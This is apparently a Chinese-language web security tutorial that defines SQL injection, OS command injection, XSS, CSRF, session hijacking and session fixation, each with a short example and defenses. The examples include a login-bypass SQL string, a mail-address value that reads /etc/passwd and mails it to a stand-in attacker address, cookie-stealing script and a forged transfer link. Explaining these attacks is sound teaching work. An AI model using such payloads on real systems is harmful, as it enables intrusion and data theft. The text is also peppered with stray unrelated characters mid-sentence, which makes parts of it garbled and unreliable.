1. SQL注入攻擊
定義
攻擊者通過把惡意SQL命令插入到web表單的輸入域或頁面請求的查詢字符串中祠锣,來達到欺騙服務(wù)器執(zhí)行惡意SQL命令的攻擊方式
實例
登錄頁面有
Name
和Password
兩個輸入域核蘸,代碼中SQL拼接:SELECT * From Table WHERE Name='XX' and Password='YY'
Name
輸入域隨便填泡态,Password
輸入域輸入' or 1=1 --'
菱肖,SQL拼接之后變成SELECT * From Table WHERE Name='XXX' and Password='' or 1=1 --''
(--
表示屏蔽之后的字符)
防御
-
利用
addslashes
方法進行預(yù)定義字符(如:單引號'
户辫、雙引號""
搞疗、反斜線\
)轉(zhuǎn)義 -
輸入進行驗證娱仔,過濾非法字符串
-
鏈接數(shù)據(jù)庫時,使用預(yù)編譯語句虫溜,盡量使用mysqli雹姊、PDO連接數(shù)據(jù)庫
-
盡量設(shè)置白名單,如未設(shè)置白名單衡楞,至少應(yīng)該設(shè)置黑名單進行過濾
2. OS注入攻擊
定義
在Web應(yīng)用中吱雏,執(zhí)行非法的操作系統(tǒng)命令(如:EXEC
、SYSTEM
),從而達到攻擊的目的
實例
一段處理發(fā)送郵件的代碼
$adr = $q->param('mailaddress'); open(MAIL, "| /usr/sbin/sendmail $adr");
攻擊者將下面的值作為郵件地址
; cat /etc/passwd | mail hack@example.jp
程序接收該值歧杏,構(gòu)成一下的命令組合
/usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
最終含有Linux用戶信息的文件被郵件發(fā)送至黑客的郵箱
防御
-
在客戶端和服務(wù)端進行輸入檢查
-
用最小權(quán)限去運行程序镰惦,將可執(zhí)行權(quán)限縮短至最低
-
如果只允許運行有限的命令,使用白名單過濾
3. 跨站腳本攻擊
定義
XSS是指惡意攻擊者利用網(wǎng)站沒有對用戶提交的數(shù)據(jù)進行轉(zhuǎn)義處理或者過濾不足的缺點犬绒,進而添加一些代碼旺入,嵌入到web頁面中去。使別的用戶訪問都會執(zhí)行相應(yīng)的嵌入代碼
實例1:
留言板表單中的表單域:<input type=“text” name=“content” value=“這里是用戶填寫的數(shù)據(jù)”>
攻擊者在value填寫
<script>alert(‘foolish!’)</script>
,將數(shù)據(jù)存儲到數(shù)據(jù)庫中凯力;其他用戶取出數(shù)據(jù)顯示的時候眨业,將會執(zhí)行這些攻擊性代碼
實例2:
通過在表單數(shù)據(jù)在嵌入
<script>alert(document.cookie)</script>
,獲取用戶cookie沮协,并通過帶攻擊鏈的圖片龄捡,發(fā)送用戶的cookie
防御
-
將重要的cookie標(biāo)記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie
-
表單數(shù)據(jù)規(guī)定值的類型,例如:年齡應(yīng)為只能為int慷暂、name只能為字母數(shù)字組合...
-
過濾或移除特殊的Html標(biāo)簽聘殖,例如:
<script>
、<iframe>
-
利用函數(shù)進行轉(zhuǎn)義處理行瑞,例如:htmlentities(將字符轉(zhuǎn)換成 html 實體奸腺,例如將輸入的
<
轉(zhuǎn)換成<
,避免將<
當(dāng)做 html 標(biāo)簽讀)血久、addcslashes(在特定的字符前添加反斜杠字符串)...
4. 跨站請求偽造
定義
CSRF是一種夾持用戶在已經(jīng)登陸的web應(yīng)用程序上執(zhí)行非本意的操作的攻擊方式突照,相比于XSS,CSRF是利用了系統(tǒng)對頁面瀏覽器的信任氧吐,XSS則利用了系統(tǒng)對用戶輸入的信任
原理
實例:
假設(shè)某游戲網(wǎng)站的虛擬幣轉(zhuǎn)賬是采用GET方式進行操作的讹蘑,樣式如:
http://www.game.com/Transfer.php?toUserId=11&vMoney=1000
此時惡意攻擊者的網(wǎng)站也構(gòu)建一個相似的鏈接:
http://www.game.com/Transfer.php?toUserId=20&vMoney=1000 #toUserID為攻擊的賬號ID
1、假若客戶端已經(jīng)驗證并登陸www.game.com網(wǎng)站筑舅,此時客戶端瀏覽器保存了游戲網(wǎng)站的驗證cookie
2座慰、客戶端再tab另一個頁面進行訪問惡意攻擊者的網(wǎng)站,并從惡意攻擊者的網(wǎng)站構(gòu)造的鏈接來訪問游戲網(wǎng)站
3翠拣、瀏覽器將會攜帶該游戲網(wǎng)站的cookie進行訪問版仔,刷一下就轉(zhuǎn)給了攻擊者1000游戲虛擬幣
為避免GET請求出現(xiàn)偽造請求的方式,可以采取POST方式去提交數(shù)據(jù)误墓,但是如果攻擊者仿照一個form表單蛮粮,也是可以破解的
防御:
-
重要數(shù)據(jù)交互采用POST進行接收,當(dāng)然是用POST也不是萬能的谜慌,偽造一個form表單即可破解
-
使用驗證碼然想,只要是涉及到數(shù)據(jù)交互就先進行驗證碼驗證,這個方法可以完全解決CSRF畦娄。但是出于用戶體驗考慮又沾,網(wǎng)站不能給所有的操作都加上驗證碼弊仪。因此驗證碼只能作為一種輔助手段熙卡,不能作為主要解決方案
-
驗證HTTP Referer字段杖刷,該字段記錄了此次HTTP請求的來源地址,最常見的應(yīng)用是圖片防盜鏈驳癌。PHP中可以采用APache URL重寫規(guī)則進行防御
-
為每個表單添加令牌token并驗證
-
為 Cookie 添加 SameSite 屬性
PS:驗證碼和表單token的作用滑燃,是防止表單不可被偽造,請求確實是用戶主動發(fā)起的颓鲜。表單token的基本思路是:在表單中生成key和value表窘,把這一對鍵值對存在session中,同時在表單提交時甜滨,用一個隱藏的標(biāo)簽乐严,提交key和value到服務(wù)器。服務(wù)器驗證 $_POST['key'] == $_SESSION['key']
衣摩,如果是偽造的表單昂验,攻擊者不清楚生成的key和value的算法,是通不過服務(wù)器的驗證的艾扮,key和value是每次訪問表單頁面動態(tài)生成的既琴,單次有效,具體實例可見泡嘴。
5. 會話劫持
定義
在一次正常的會話過程當(dāng)中(會話甫恩,就是兩臺主機之間的一次通訊),攻擊者作為第三方參與到其中酌予,他可以在正常數(shù)據(jù)包中插入惡意數(shù)據(jù)磺箕,也可以在雙方的會話當(dāng)中進行監(jiān)聽,甚至可以是代替某一方主機接管會話
常用攻擊類型
-
ARP欺騙
-
DNS欺騙
-
IP欺騙
-
TCP會話劫持
防御
-
交換式網(wǎng)絡(luò)代替共享式網(wǎng)絡(luò)(防范嗅探攻擊)
-
通訊采用加密協(xié)議
-
監(jiān)控網(wǎng)絡(luò)流量
6. Session 固定攻擊
定義
誘騙受害者使用攻擊者指定的SessionID進行登錄抛虫,從而使web不再生成新的SessionID滞磺,導(dǎo)致黑客指定的SessionID變成了合法橋梁,黑客可以使用指定的SessionID冒充受害者身份進行違法操作
原理
實例1
黑客首先用自己的賬號密碼登錄莱褒,得到服務(wù)器生成的 SessionId击困。再利用 JS 的
document.cookie="sessionid=123"
屬性,構(gòu)造自己的SessionId广凸,引誘受害者進入重置 sessionId 頁面阅茶,此時黑客的SessionId對應(yīng)的賬號就是用戶的賬號,而不是之前黑客自己的賬號信息
實例2
利用 HTML 的
<META>
標(biāo)簽加Set-Cookie
屬性
實例3
利用HTTP響應(yīng)頭的
Set-Cookie
設(shè)置Cookie
防御
-
每當(dāng)用戶登錄時進行重置SessionID(PHP用session_regenerate_id 方法)
-
SessionID閑置太久時谅海,重置SessionID
-
禁止透明化 SessionId(如采用
POST
脸哀、GET
兩種方式傳遞sessionId
),防止黑客輕易就可以做出修改用戶sessionId
的鏈接扭吁,引誘用戶上當(dāng)